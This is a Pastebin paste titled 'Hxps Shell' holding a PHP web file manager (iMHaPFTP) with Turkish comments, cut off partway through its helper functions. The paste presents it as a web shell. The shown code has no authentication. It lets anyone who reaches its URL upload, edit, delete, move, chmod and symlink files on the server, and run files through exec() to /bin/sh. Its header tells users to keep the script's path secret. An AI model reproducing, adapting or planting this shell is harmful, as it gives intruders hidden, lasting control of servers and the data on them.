blackcyberrootshell

[ + ] Hxps Shell [ + ]

Mar 3rd, 2015
238
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 55.10 KB | None | 0 0
  1. <?php
  2. /*
  3.  * iMHaPFTP.php - iMHaBiRLiGi Php Ftp Editoru
  4.  * Copyright (C) 2003-2005  iMHaBiRLiGi <iMHaBiRLiGi@imhabirligi.com>
  5.  *
  6.  * Bu Kod Tamamiyle Özgür Yazilimdir.
  7.  * Kötü Amaclar ile kullanilmamak sartiyla istenildigi gibi Kullanilabilir
  8.  * Programin amaci ftp olmadan hostunuza baglanti kurup
  9.  * Dosya ekleyip kaldira bilmektir.
  10.  * Kodumuz 6 Dilde yazilmistir.Server Diline Göre Otomatik Secim Yapar.
  11.  * -------------------------------------------------------------------------
  12.  * Kodu hosta attiktan sonra adres cubuguna kodun uzantisini verip baglanin
  13.  * Ve Asla kimseye bu kodun uzantisini vermeyiniz.!!
  14.  * -------------------------------------------------------------------------
  15.  *
  16.  * iMHaBiRLiGi PhpFtp V1.1
  17.  * =========================================================================
  18.  *
  19.  * BeweiS
  20.  * <BeweiS@imhabirligi.com>
  21.  *    iMHaBiRLiGi Administrator
  22.  *    Php-Asp-Programlama ve Güvenlik
  23.  *
  24.  * MicroP_
  25.  * <MicroP_@imhabirligi.com>
  26.  *    iMHaBiRLiGi Administrator
  27.  *    Php-Asp-Programlama ve Güvenlik
  28.  *
  29.  * Libertical
  30.  * <libertical@imhabirligi.com>
  31.  *    iMHaBiRLiGi Yönetim
  32.  *    C++, Delphi,Programlama ve Linux Hastasi
  33.  *
  34.  * PowerGhost
  35.  * <powerghost@imhabirligi.com>
  36.  *    iMHaBiRLiGi Sistem Danismani
  37.  *    Sistem Danismani
  38.  *    
  39.  *  BadSector
  40.  *  ozgurkaleli@yahoo.com
  41.  *  iMHaBiRLiGi Yönetim
  42.  *   VicualBasic-Delphi Programlama
  43.  *   Sistemdanismani ve Linux Hastasi
  44.  *
  45.  * Bu kodun yaziliminda ismi gecen her arkadasimizin
  46.  * Katkilari bulunmustur.
  47.  * Herbiri ilgi alaninda Basarili olduklari konularda kodumuzu gelistirmemize
  48.  * Katkida bulunmuslardir.
  49.  * NOT: Kod Hakkinda takildiniz konulari iMHaBiRLiGi Forumlarina Sora bilirsiniz
  50.  * http://www.imhabirligi.com
  51.  *<iMHaBiRLiGi@imhabirligi.com>
  52. /* ------------------------------------------------------------------------- */
  53.  
  54. /* Diller :
  55.  * 'en' - English
  56.  * 'de' - German
  57.  * 'fr' - French
  58.  * 'it' - Italian
  59.  * 'se' - Swedish
  60.  * 'auto' - autoselect
  61.  */
  62. $lang = 'auto';
  63.  
  64. /* Charset of your filenames:
  65.  */
  66. $charset = 'ISO-8859-1';
  67.  
  68. /* Homedir:
  69.  * For example: './' - the script's directory
  70.  */
  71. $homedir = './';
  72.  
  73. /* Size of the Düzenle textarea
  74.  */
  75. $Düzenlecols = 80;
  76. $Düzenlerows = 25;
  77.  
  78. /* -------------------------------------------
  79.  * Optional configuration (reTasi # to enable)
  80.  */
  81.  
  82. /* Permission of created directories:
  83.  * For example: 0705 would be 'drwx---r-x'.
  84.  */
  85. # $dirpermission = 0705;
  86.  
  87. /* Permission of created files:
  88.  * For example: 0604 would be '-rw----r--'.
  89.  */
  90. # $filepermission = 0604;
  91.  
  92. /* Filenames related to the apache web server:
  93.  */
  94. $htaccess = '.htaccess';
  95. $htpasswd = '.htpasswd';
  96.  
  97. /* ------------------------------------------------------------------------- */
  98.  
  99. if (get_magic_quotes_gpc()) {
  100.     array_walk($_GET, 'strip');
  101.     array_walk($_POST, 'strip');
  102.     array_walk($_REQUEST, 'strip');
  103. }
  104.  
  105. if (array_key_exists('image', $_GET)) {
  106.     header('Content-Type: image/gif');
  107.     die(getimage($_GET['image']));
  108. }
  109.  
  110. $delim = DIRECTORY_SEPARATOR;
  111.  
  112. if (function_exists('php_uname')) {
  113.     $win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true : false;
  114. } else {
  115.     $win = ($delim == '\\') ? true : false;
  116. }
  117.  
  118. if (!empty($_SERVER['PATH_TRANSLATED'])) {
  119.     $scriptdir = dirname($_SERVER['PATH_TRANSLATED']);
  120. } elseif (!empty($_SERVER['SCRIPT_FILENAME'])) {
  121.     $scriptdir = dirname($_SERVER['SCRIPT_FILENAME']);
  122. } elseif (function_exists('getcwd')) {
  123.     $scriptdir = getcwd();
  124. } else {
  125.     $scriptdir = '.';
  126. }
  127. $homedir = relative2absolute($homedir, $scriptdir);
  128.  
  129. $dir = (array_key_exists('dir', $_REQUEST)) ? $_REQUEST['dir'] : $homedir;
  130.  
  131. if (array_key_exists('olddir', $_POST) && !path_is_relative($_POST['olddir'])) {
  132.     $dir = relative2absolute($dir, $_POST['olddir']);
  133. }
  134.  
  135. $directory = simplify_path(addslash($dir));
  136.  
  137. $files = array();
  138. $action = '';
  139. if (!empty($_POST['submit_all'])) {
  140.     $action = $_POST['action_all'];
  141.     for ($i = 0; $i < $_POST['num']; $i++) {
  142.         if (array_key_exists("checked$i", $_POST) && $_POST["checked$i"] == 'true') {
  143.             $files[] = $_POST["file$i"];
  144.         }
  145.     }
  146. } elseif (!empty($_REQUEST['action'])) {
  147.     $action = $_REQUEST['action'];
  148.     $files[] = relative2absolute($_REQUEST['file'], $directory);
  149. } elseif (!empty($_POST['submit_upload']) && !empty($_FILES['upload']['name'])) {
  150.     $files[] = $_FILES['upload'];
  151.     $action = 'upload';
  152. } elseif (array_key_exists('num', $_POST)) {
  153.     for ($i = 0; $i < $_POST['num']; $i++) {
  154.         if (array_key_exists("submit$i", $_POST)) break;
  155.     }
  156.     if ($i < $_POST['num']) {
  157.         $action = $_POST["action$i"];
  158.         $files[] = $_POST["file$i"];
  159.     }
  160. }
  161. if (empty($action) && (!empty($_POST['submit_create']) || (array_key_exists('focus', $_POST) && $_POST['focus'] == 'create')) && !empty($_POST['create_name'])) {
  162.     $files[] = relative2absolute($_POST['create_name'], $directory);
  163.     switch ($_POST['create_type']) {
  164.     case 'directory':
  165.         $action = 'create_directory';
  166.         break;
  167.     case 'file':
  168.         $action = 'create_file';
  169.     }
  170. }
  171. if (sizeof($files) == 0) $action = ''; else $file = reset($files);
  172.  
  173. if ($lang == 'auto') {
  174.     if (array_key_exists('HTTP_ACCEPT_LANGUAGE', $_SERVER) && strlen($_SERVER['HTTP_ACCEPT_LANGUAGE']) >= 2) {
  175.         $lang = substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2);
  176.     } else {
  177.         $lang = 'en';
  178.     }
  179. }
  180.  
  181. $words = getwords($lang);
  182.  
  183. $cols = ($win) ? 4 : 7;
  184.  
  185. if (!isset($dirpermission)) {
  186.     $dirpermission = (function_exists('umask')) ? (0777 & ~umask()) : 0755;
  187. }
  188. if (!isset($filepermission)) {
  189.     $filepermission = (function_exists('umask')) ? (0666 & ~umask()) : 0644;
  190. }
  191.  
  192. if (!empty($_SERVER['SCRIPT_NAME'])) {
  193.     $self = html(basename($_SERVER['SCRIPT_NAME']));
  194. } elseif (!empty($_SERVER['PHP_SELF'])) {
  195.     $self = html(basename($_SERVER['PHP_SELF']));
  196. } else {
  197.     $self = '';
  198. }
  199.  
  200. if (!empty($_SERVER['SERVER_SOFTWARE'])) {
  201.     if (strtolower(substr($_SERVER['SERVER_SOFTWARE'], 0, 6)) == 'apache') {
  202.         $apache = true;
  203.     } else {
  204.         $apache = false;
  205.     }
  206. } else {
  207.     $apache = true;
  208. }
  209.  
  210. switch ($action) {
  211.  
  212. case 'view':
  213.  
  214.     if (is_script($file)) {
  215.  
  216.         /* highlight_file is a mess! */
  217.         ob_start();
  218.         highlight_file($file);
  219.         $src = ereg_replace('<font color="([^"]*)">', '<span style="color: \1">', ob_get_contents());
  220.         $src = str_replace(array('</font>', "\r", "\n"), array('</span>', '', ''), $src);
  221.         ob_end_clean();
  222.  
  223.         html_header();
  224.         echo '<h2 style="text-align: left; margin-bottom: 0">' . html($file) . '</h2>
  225.  
  226. <hr />
  227.  
  228. <table>
  229. <tr>
  230. <td style="text-align: right; vertical-align: top; color: gray; padding-right: 3pt; border-right: 1px solid gray">
  231. <pre style="margin-top: 0"><code>';
  232.  
  233.         for ($i = 1; $i <= sizeof(file($file)); $i++) echo "$i\n";
  234.  
  235.         echo '</code></pre>
  236. </td>
  237. <td style="text-align: left; vertical-align: top; padding-left: 3pt">
  238. <pre style="margin-top: 0">' . $src . '</pre>
  239. </td>
  240. </tr>
  241. </table>
  242.  
  243. ';
  244.  
  245.         html_footer();
  246.  
  247.     } else {
  248.  
  249.         header('Content-Type: ' . getmimetype($file));
  250.         header('Content-Disposition: filename=' . basename($file));
  251.  
  252.         readfile($file);
  253.  
  254.     }
  255.  
  256.     break;
  257.  
  258. case 'indir':
  259.  
  260.     header('Pragma: public');
  261.     header('Expires: 0');
  262.     header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
  263.     header('Content-Type: ' . getmimetype($file));
  264.     header('Content-Disposition: attachment; filename=' . basename($file) . ';');
  265.     header('Content-Length: ' . filesize($file));
  266.  
  267.     readfile($file);
  268.  
  269.     break;
  270.  
  271. case 'upload':
  272.  
  273.     $dest = relative2absolute($file['name'], $directory);
  274.  
  275.     if (@file_exists($dest)) {
  276.         listing_page(error('already_exists', $dest));
  277.     } elseif (@Tasi_uploaded_file($file['tmp_name'], $dest)) {
  278.         listing_page(notice('uploaded', $file['name']));
  279.     } else {
  280.         listing_page(error('not_uploaded', $file['name']));
  281.     }
  282.  
  283.     break;
  284.  
  285. case 'create_directory':
  286.  
  287.     if (@file_exists($file)) {
  288.         listing_page(error('already_exists', $file));
  289.     } else {
  290.         $old = @umask(0777 & ~$dirpermission);
  291.         if (@mkdir($file, $dirpermission)) {
  292.             listing_page(notice('created', $file));
  293.         } else {
  294.             listing_page(error('not_created', $file));
  295.         }
  296.         @umask($old);
  297.     }
  298.  
  299.     break;
  300.  
  301. case 'create_file':
  302.  
  303.     if (@file_exists($file)) {
  304.         listing_page(error('already_exists', $file));
  305.     } else {
  306.         $old = @umask(0777 & ~$filepermission);
  307.         if (@touch($file)) {
  308.             Düzenle($file);
  309.         } else {
  310.             listing_page(error('not_created', $file));
  311.         }
  312.         @umask($old);
  313.     }
  314.  
  315.     break;
  316.  
  317. case 'execute':
  318.  
  319.     chdir(dirname($file));
  320.  
  321.     $output = array();
  322.     $retval = 0;
  323.     exec('echo "./' . basename($file) . '" | /bin/sh', $output, $retval);
  324.  
  325.     $error = ($retval == 0) ? false : true;
  326.  
  327.     if (sizeof($output) == 0) $output = array('<' . $words['no_output'] . '>');
  328.  
  329.     if ($error) {
  330.         listing_page(error('not_executed', $file, implode("\n", $output)));
  331.     } else {
  332.         listing_page(notice('executed', $file, implode("\n", $output)));
  333.     }
  334.  
  335.     break;
  336.  
  337. case 'Sil':
  338.  
  339.     if (!empty($_POST['no'])) {
  340.         listing_page();
  341.     } elseif (!empty($_POST['yes'])) {
  342.  
  343.         $failure = array();
  344.         $success = array();
  345.  
  346.         foreach ($files as $file) {
  347.             if (del($file)) {
  348.                 $success[] = $file;
  349.             } else {
  350.                 $failure[] = $file;
  351.             }
  352.         }
  353.  
  354.         $message = '';
  355.         if (sizeof($failure) > 0) {
  356.             $message = error('not_Sild', implode("\n", $failure));
  357.         }
  358.         if (sizeof($success) > 0) {
  359.             $message .= notice('Sild', implode("\n", $success));
  360.         }
  361.  
  362.         listing_page($message);
  363.  
  364.     } else {
  365.  
  366.         html_header();
  367.  
  368.         echo '<form action="' . $self . '" method="post">
  369. <table class="dialog">
  370. <tr>
  371. <td class="dialog">
  372. ';
  373.  
  374.         request_dump();
  375.  
  376.         echo "\t<b>" . word('really_Sil') . '</b>
  377.     <p>
  378. ';
  379.  
  380.         foreach ($files as $file) {
  381.             echo "\t" . html($file) . "<br />\n";
  382.         }
  383.  
  384.         echo '  </p>
  385.     <hr />
  386.     <input type="submit" name="no" value="' . word('no') . '" id="red_button" />
  387.     <input type="submit" name="yes" value="' . word('yes') . '" id="green_button" style="margin-left: 50px" />
  388. </td>
  389. </tr>
  390. </table>
  391. </form>
  392.  
  393. ';
  394.  
  395.         html_footer();
  396.  
  397.     }
  398.  
  399.     break;
  400.  
  401. case 'Degistir':
  402.  
  403.     if (!empty($_POST['Yol'])) {
  404.  
  405.         $dest = relative2absolute($_POST['Yol'], $directory);
  406.  
  407.         if (!@file_exists($dest) && @Degistir($file, $dest)) {
  408.             listing_page(notice('Degistird', $file, $dest));
  409.         } else {
  410.             listing_page(error('not_Degistird', $file, $dest));
  411.         }
  412.  
  413.     } else {
  414.  
  415.         html_header();
  416.  
  417.         echo '<form action="' . $self . '" method="post">
  418.  
  419. <table class="dialog">
  420. <tr>
  421. <td class="dialog">
  422.     <input type="hidden" name="action" value="Degistir" />
  423.     <input type="hidden" name="file" value="' . html($file) . '" />
  424.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  425.     <b>' . word('Degistir_file') . '</b>
  426.     <p>' . html($file) . '</p>
  427.     <hr />
  428.     ' . word('Yol') . ':
  429.     <input type="text" name="Yol" size="' . textfieldsize($file) . '" value="' . html($file) . '" />
  430.     <input type="submit" value="' . word('Degistir') . '" />
  431. </td>
  432. </tr>
  433. </table>
  434.  
  435. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  436.  
  437. </form>
  438.  
  439. ';
  440.  
  441.         html_footer();
  442.  
  443.     }
  444.  
  445.     break;
  446.  
  447. case 'Tasi':
  448.  
  449.     if (!empty($_POST['Yol'])) {
  450.  
  451.         $dest = relative2absolute($_POST['Yol'], $directory);
  452.  
  453.         $failure = array();
  454.         $success = array();
  455.  
  456.         foreach ($files as $file) {
  457.             $filename = substr($file, strlen($directory));
  458.             $d = $dest . $filename;
  459.             if (!@file_exists($d) && @Degistir($file, $d)) {
  460.                 $success[] = $file;
  461.             } else {
  462.                 $failure[] = $file;
  463.             }
  464.         }
  465.  
  466.         $message = '';
  467.         if (sizeof($failure) > 0) {
  468.             $message = error('not_Tasid', implode("\n", $failure), $dest);
  469.         }
  470.         if (sizeof($success) > 0) {
  471.             $message .= notice('Tasid', implode("\n", $success), $dest);
  472.         }
  473.  
  474.         listing_page($message);
  475.  
  476.     } else {
  477.  
  478.         html_header();
  479.  
  480.         echo '<form action="' . $self . '" method="post">
  481.  
  482. <table class="dialog">
  483. <tr>
  484. <td class="dialog">
  485. ';
  486.  
  487.         request_dump();
  488.  
  489.         echo "\t<b>" . word('Tasi_files') . '</b>
  490.     <p>
  491. ';
  492.  
  493.         foreach ($files as $file) {
  494.             echo "\t" . html($file) . "<br />\n";
  495.         }
  496.  
  497.         echo '  </p>
  498.     <hr />
  499.     ' . word('Yol') . ':
  500.     <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  501.     <input type="submit" value="' . word('Tasi') . '" />
  502. </td>
  503. </tr>
  504. </table>
  505.  
  506. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  507.  
  508. </form>
  509.  
  510. ';
  511.  
  512.         html_footer();
  513.  
  514.     }
  515.  
  516.     break;
  517.  
  518. case 'Kopyala':
  519.  
  520.     if (!empty($_POST['Yol'])) {
  521.  
  522.         $dest = relative2absolute($_POST['Yol'], $directory);
  523.  
  524.         if (@is_dir($dest)) {
  525.  
  526.             $failure = array();
  527.             $success = array();
  528.  
  529.             foreach ($files as $file) {
  530.                 $filename = substr($file, strlen($directory));
  531.                 $d = addslash($dest) . $filename;
  532.                 if (!@is_dir($file) && !@file_exists($d) && @Kopyala($file, $d)) {
  533.                     $success[] = $file;
  534.                 } else {
  535.                     $failure[] = $file;
  536.                 }
  537.             }
  538.  
  539.             $message = '';
  540.             if (sizeof($failure) > 0) {
  541.                 $message = error('not_copied', implode("\n", $failure), $dest);
  542.             }
  543.             if (sizeof($success) > 0) {
  544.                 $message .= notice('copied', implode("\n", $success), $dest);
  545.             }
  546.  
  547.             listing_page($message);
  548.  
  549.         } else {
  550.  
  551.             if (!@file_exists($dest) && @Kopyala($file, $dest)) {
  552.                 listing_page(notice('copied', $file, $dest));
  553.             } else {
  554.                 listing_page(error('not_copied', $file, $dest));
  555.             }
  556.  
  557.         }
  558.  
  559.     } else {
  560.  
  561.         html_header();
  562.  
  563.         echo '<form action="' . $self . '" method="post">
  564.  
  565. <table class="dialog">
  566. <tr>
  567. <td class="dialog">
  568. ';
  569.  
  570.         request_dump();
  571.  
  572.         echo "\n<b>" . word('Kopyala_files') . '</b>
  573.     <p>
  574. ';
  575.  
  576.         foreach ($files as $file) {
  577.             echo "\t" . html($file) . "<br />\n";
  578.         }
  579.  
  580.         echo '  </p>
  581.     <hr />
  582.     ' . word('Yol') . ':
  583.     <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  584.     <input type="submit" value="' . word('Kopyala') . '" />
  585. </td>
  586. </tr>
  587. </table>
  588.  
  589. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  590.  
  591. </form>
  592.  
  593. ';
  594.  
  595.         html_footer();
  596.  
  597.     }
  598.  
  599.     break;
  600.  
  601. case 'create_symlink':
  602.  
  603.     if (!empty($_POST['Yol'])) {
  604.  
  605.         $dest = relative2absolute($_POST['Yol'], $directory);
  606.  
  607.         if (substr($dest, -1, 1) == $delim) $dest .= basename($file);
  608.  
  609.         if (!empty($_POST['relative'])) $file = absolute2relative(addslash(dirname($dest)), $file);
  610.  
  611.         if (!@file_exists($dest) && @symlink($file, $dest)) {
  612.             listing_page(notice('symlinked', $file, $dest));
  613.         } else {
  614.             listing_page(error('not_symlinked', $file, $dest));
  615.         }
  616.  
  617.     } else {
  618.  
  619.         html_header();
  620.  
  621.         echo '<form action="' . $self . '" method="post">
  622.  
  623. <table class="dialog" id="symlink">
  624. <tr>
  625.     <td style="vertical-align: top">' . word('Yol') . ': </td>
  626.     <td>
  627.         <b>' . html($file) . '</b><br />
  628.         <input type="checkbox" name="relative" value="yes" id="checkbox_relative" checked="checked" style="margin-top: 1ex" />
  629.         <label for="checkbox_relative">' . word('relative') . '</label>
  630.         <input type="hidden" name="action" value="create_symlink" />
  631.         <input type="hidden" name="file" value="' . html($file) . '" />
  632.         <input type="hidden" name="dir" value="' . html($directory) . '" />
  633.     </td>
  634. </tr>
  635. <tr>
  636.     <td>' . word('symlink') . ': </td>
  637.     <td>
  638.         <input type="text" name="Yol" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" />
  639.         <input type="submit" value="' . word('create_symlink') . '" />
  640.     </td>
  641. </tr>
  642. </table>
  643.  
  644. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  645.  
  646. </form>
  647.  
  648. ';
  649.  
  650.         html_footer();
  651.  
  652.     }
  653.  
  654.     break;
  655.  
  656. case 'Düzenle':
  657.  
  658.     if (!empty($_POST['save'])) {
  659.  
  660.         $content = str_replace("\r\n", "\n", $_POST['content']);
  661.  
  662.         if (($f = @fopen($file, 'w')) && @fwrite($f, $content) !== false && @fclose($f)) {
  663.             listing_page(notice('saved', $file));
  664.         } else {
  665.             listing_page(error('not_saved', $file));
  666.         }
  667.  
  668.     } else {
  669.  
  670.         if (@is_readable($file) && @is_writable($file)) {
  671.             Düzenle($file);
  672.         } else {
  673.             listing_page(error('not_Düzenleed', $file));
  674.         }
  675.  
  676.     }
  677.  
  678.     break;
  679.  
  680. case 'permission':
  681.  
  682.     if (!empty($_POST['set'])) {
  683.  
  684.         $mode = 0;
  685.         if (!empty($_POST['ur'])) $mode |= 0400; if (!empty($_POST['uw'])) $mode |= 0200; if (!empty($_POST['ux'])) $mode |= 0100;
  686.         if (!empty($_POST['gr'])) $mode |= 0040; if (!empty($_POST['gw'])) $mode |= 0020; if (!empty($_POST['gx'])) $mode |= 0010;
  687.         if (!empty($_POST['or'])) $mode |= 0004; if (!empty($_POST['ow'])) $mode |= 0002; if (!empty($_POST['ox'])) $mode |= 0001;
  688.  
  689.         if (@chmod($file, $mode)) {
  690.             listing_page(notice('permission_set', $file, decoct($mode)));
  691.         } else {
  692.             listing_page(error('permission_not_set', $file, decoct($mode)));
  693.         }
  694.  
  695.     } else {
  696.  
  697.         html_header();
  698.  
  699.         $mode = fileperms($file);
  700.  
  701.         echo '<form action="' . $self . '" method="post">
  702.  
  703. <table class="dialog">
  704. <tr>
  705. <td class="dialog">
  706.  
  707.     <p style="margin: 0">' . phrase('permission_for', $file) . '</p>
  708.  
  709.     <hr />
  710.  
  711.     <table id="permission">
  712.     <tr>
  713.         <td></td>
  714.         <td style="border-right: 1px solid black">' . word('owner') . '</td>
  715.         <td style="border-right: 1px solid black">' . word('group') . '</td>
  716.         <td>' . word('other') . '</td>
  717.     </tr>
  718.     <tr>
  719.         <td style="text-align: right">' . word('read') . ':</td>
  720.         <td><input type="checkbox" name="ur" value="1"'; if ($mode & 00400) echo ' checked="checked"'; echo ' /></td>
  721.         <td><input type="checkbox" name="gr" value="1"'; if ($mode & 00040) echo ' checked="checked"'; echo ' /></td>
  722.         <td><input type="checkbox" name="or" value="1"'; if ($mode & 00004) echo ' checked="checked"'; echo ' /></td>
  723.     </tr>
  724.     <tr>
  725.         <td style="text-align: right">' . word('write') . ':</td>
  726.         <td><input type="checkbox" name="uw" value="1"'; if ($mode & 00200) echo ' checked="checked"'; echo ' /></td>
  727.         <td><input type="checkbox" name="gw" value="1"'; if ($mode & 00020) echo ' checked="checked"'; echo ' /></td>
  728.         <td><input type="checkbox" name="ow" value="1"'; if ($mode & 00002) echo ' checked="checked"'; echo ' /></td>
  729.     </tr>
  730.     <tr>
  731.         <td style="text-align: right">' . word('execute') . ':</td>
  732.         <td><input type="checkbox" name="ux" value="1"'; if ($mode & 00100) echo ' checked="checked"'; echo ' /></td>
  733.         <td><input type="checkbox" name="gx" value="1"'; if ($mode & 00010) echo ' checked="checked"'; echo ' /></td>
  734.         <td><input type="checkbox" name="ox" value="1"'; if ($mode & 00001) echo ' checked="checked"'; echo ' /></td>
  735.     </tr>
  736.     </table>
  737.  
  738.     <hr />
  739.  
  740.     <input type="submit" name="set" value="' . word('set') . '" />
  741.  
  742.     <input type="hidden" name="action" value="permission" />
  743.     <input type="hidden" name="file" value="' . html($file) . '" />
  744.     <input type="hidden" name="dir" value="' . html($directory) . '" />
  745.  
  746. </td>
  747. </tr>
  748. </table>
  749.  
  750. <p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('Geri') . ' ]</a></p>
  751.  
  752. </form>
  753.  
  754. ';
  755.  
  756.         html_footer();
  757.  
  758.     }
  759.  
  760.     break;
  761.  
  762. default:
  763.  
  764.     listing_page();
  765.  
  766. }
  767.  
  768. /* ------------------------------------------------------------------------- */
  769.  
  770. function getlist ($directory) {
  771.     global $delim, $win;
  772.  
  773.     if ($d = @opendir($directory)) {
  774.  
  775.         while (($filename = @readdir($d)) !== false) {
  776.  
  777.             $path = $directory . $filename;
  778.  
  779.             if ($stat = @lstat($path)) {
  780.  
  781.                 $file = array(
  782.                     'filename'    => $filename,
  783.                     'path'        => $path,
  784.                     'is_file'     => @is_file($path),
  785.                     'is_dir'      => @is_dir($path),
  786.                     'is_link'     => @is_link($path),
  787.                     'is_readable' => @is_readable($path),
  788.                     'is_writable' => @is_writable($path),
  789.                     'size'        => $stat['size'],
  790.                     'permission'  => $stat['mode'],
  791.                     'owner'       => $stat['uid'],
  792.                     'group'       => $stat['gid'],
  793.                     'mtime'       => @filemtime($path),
  794.                     'atime'       => @fileatime($path),
  795.                     'ctime'       => @filectime($path)
  796.                 );
  797.  
  798.                 if ($file['is_dir']) {
  799.                     $file['is_executable'] = @file_exists($path . $delim . '.');
  800.                 } else {
  801.                     if (!$win) {
  802.                         $file['is_executable'] = @is_executable($path);
  803.                     } else {
  804.                         $file['is_executable'] = true;
  805.                     }
  806.                 }
  807.  
  808.                 if ($file['is_link']) $file['target'] = @readlink($path);
  809.  
  810.                 if (function_exists('posix_getpwuid')) $file['owner_name'] = @reset(posix_getpwuid($file['owner']));
  811.                 if (function_exists('posix_getgrgid')) $file['group_name'] = @reset(posix_getgrgid($file['group']));
  812.  
  813.                 $files[] = $file;
  814.  
  815.             }
  816.  
  817.         }
  818.  
  819.         return $files;
  820.  
  821.     } else {
  822.         return false;
  823.     }
  824.  
  825. }
  826.  
  827. function sortlist (&$list, $key, $reverse) {
  828.  
  829.     quicksort($list, 0, sizeof($list) - 1, $key);
  830.  
  831.     if ($reverse) $list = array_reverse($list);
  832.  
  833. }
  834.  
  835. function quicksort (&$array, $first, $last, $key) {
  836.  
  837.     if ($first < $last) {
  838.  
  839.         $cmp = $array[floor(($first + $last) / 2)][$key];
  840.  
  841.         $l = $first;
  842.         $r = $last;
  843.  
  844.         while ($l <= $r) {
  845.  
  846.             while ($array[$l][$key] < $cmp) $l++;
  847.             while ($array[$r][$key] > $cmp) $r--;
  848.  
  849.             if ($l <= $r) {
  850.  
  851.                 $tmp = $array[$l];
  852.                 $array[$l] = $array[$r];
  853.                 $array[$r] = $tmp;
  854.  
  855.                 $l++;
  856.                 $r--;
  857.  
  858.             }
  859.  
  860.         }
  861.  
  862.         quicksort($array, $first, $r, $key);
  863.         quicksort($array, $l, $last, $key);
  864.  
  865.     }
  866.  
  867. }
  868.  
  869. function permission_octal2string ($mode) {
  870.  
  871.     if (($mode & 0xC000) === 0xC000) {
  872.         $type = 's';
  873.     } elseif (($mode & 0xA000) === 0xA000) {
  874.         $type = 'l';
  875.     } elseif (($mode & 0x8000) === 0x8000) {
  876.         $type = '-';
  877.     } elseif (($mode & 0x6000) === 0x6000) {
  878.         $type = 'b';
  879.     } elseif (($mode & 0x4000) === 0x4000) {
  880.         $type = 'd';
  881.     } elseif (($mode & 0x2000) === 0x2000) {
  882.         $type = 'c';
  883.     } elseif (($mode & 0x1000) === 0x1000) {
  884.         $type = 'p';
  885.     } else {
  886.         $type = '?';
  887.     }
  888.  
  889.     $owner  = ($mode & 00400) ? 'r' : '-';
  890.     $owner .= ($mode & 00200) ? 'w' : '-';
  891.     if ($mode & 0x800) {
  892.         $owner .= ($mode & 00100) ? 's' : 'S';
  893.     } else {
  894.         $owner .= ($mode & 00100) ? 'x' : '-';
  895.     }
  896.  
  897.     $group  = ($mode & 00040) ? 'r' : '-';
  898.     $group .= ($mode & 00020) ? 'w' : '-';
  899.     if ($mode & 0x400) {
  900.         $group .= ($mode & 00010) ? 's' : 'S';
  901.     } else {
  902.         $group .= ($mode & 00010) ? 'x' : '-';
  903.     }
  904.  
  905.     $other  = ($mode & 00004) ? 'r' : '-';
  906.     $other .= ($mode & 00002) ? 'w' : '-';
  907.     if ($mode & 0x200) {
  908.         $other .= ($mode & 00001) ? 't' : 'T';
  909.     } else {
  910.         $other .= ($mode & 00001) ? 'x' : '-';
  911.     }
  912.  
  913.     return $type . $owner . $group . $other;
  914.  
  915. }
  916.  
  917. function is_script ($filename) {
  918.     return ereg('\.php$|\.php3$|\.php4$|\.php5$', $filename);
  919. }
  920.  
  921. function getmimetype ($filename) {
  922.     static $mimes = array(
  923.         '\.jpg$|\.jpeg$'  => 'image/jpeg',
  924.         '\.gif$'          => 'image/gif',
  925.         '\.png$'          => 'image/png',
  926.         '\.html$|\.html$' => 'text/html',
  927.         '\.txt$|\.asc$'   => 'text/plain',
  928.         '\.xml$|\.xsl$'   => 'application/xml',
  929.         '\.pdf$'          => 'application/pdf'
  930.     );
  931.  
  932.     foreach ($mimes as $regex => $mime) {
  933.         if (eregi($regex, $filename)) return $mime;
  934.     }
  935.  
  936.     // return 'application/octet-stream';
  937.     return 'text/plain';
  938.  
  939. }
  940.  
  941. function del ($file) {
  942.     global $delim;
  943.  
  944.     if (!@is_link($file) && !file_exists($file)) return false;
  945.  
  946.     if (!@is_link($file) && @is_dir($file)) {
  947.  
  948.         if ($dir = @opendir($file)) {
  949.  
  950.             $error = false;
  951.  
  952.             while (($f = readdir($dir)) !== false) {
  953.                 if ($f != '.' && $f != '..' && !del($file . $delim . $f)) {
  954.                     $error = true;
  955.                 }
  956.             }
  957.             closedir($dir);
  958.  
  959.             if (!$error) return @rmdir($file);
  960.  
  961.             return !$error;
  962.  
  963.         } else {
  964.             return false;
  965.         }
  966.  
  967.     } else {
  968.         return @unlink($file);
  969.     }
  970.  
  971. }
  972.  
  973. function addslash ($directory) {
  974.     global $delim;
  975.  
  976.     if (substr($directory, -1, 1) != $delim) {
  977.         return $directory . $delim;
  978.     } else {
  979.         return $directory;
  980.     }
  981.  
  982. }
  983.  
  984. function relative2absolute ($string, $directory) {
  985.  
  986.     if (path_is_relative($string)) {
  987.         return simplify_path(addslash($directory) . $string);
  988.     } else {
  989.         return simplify_path($string);
  990.     }
  991.  
  992. }
  993.  
  994. function path_is_relative ($path) {
  995.     global $win;
  996.  
  997.     if ($win) {
  998.         return (substr($path, 1, 1) != ':');
  999.     } else {
  1000.         return (substr($path, 0, 1) != '/');
  1001.     }
  1002.  
  1003. }
  1004.  
  1005. function absolute2relative ($directory, $target) {
  1006.     global $delim;
  1007.  
  1008.     $path = '';
  1009.     while ($directory != $target) {
  1010.         if ($directory == substr($target, 0, strlen($directory))) {
  1011.             $path .= substr($target, strlen($directory));
  1012.             break;
  1013.         } else {
  1014.             $path .= '..' . $delim;
  1015.             $directory = substr($directory, 0, strrpos(substr($directory, 0, -1), $delim) + 1);
  1016.         }
  1017.     }
  1018.     if ($path == '') $path = '.';
  1019.  
  1020.     return $path;
  1021.  
  1022. }
  1023.  
  1024. function simplify_path ($path) {
  1025.     global $delim;
  1026.  
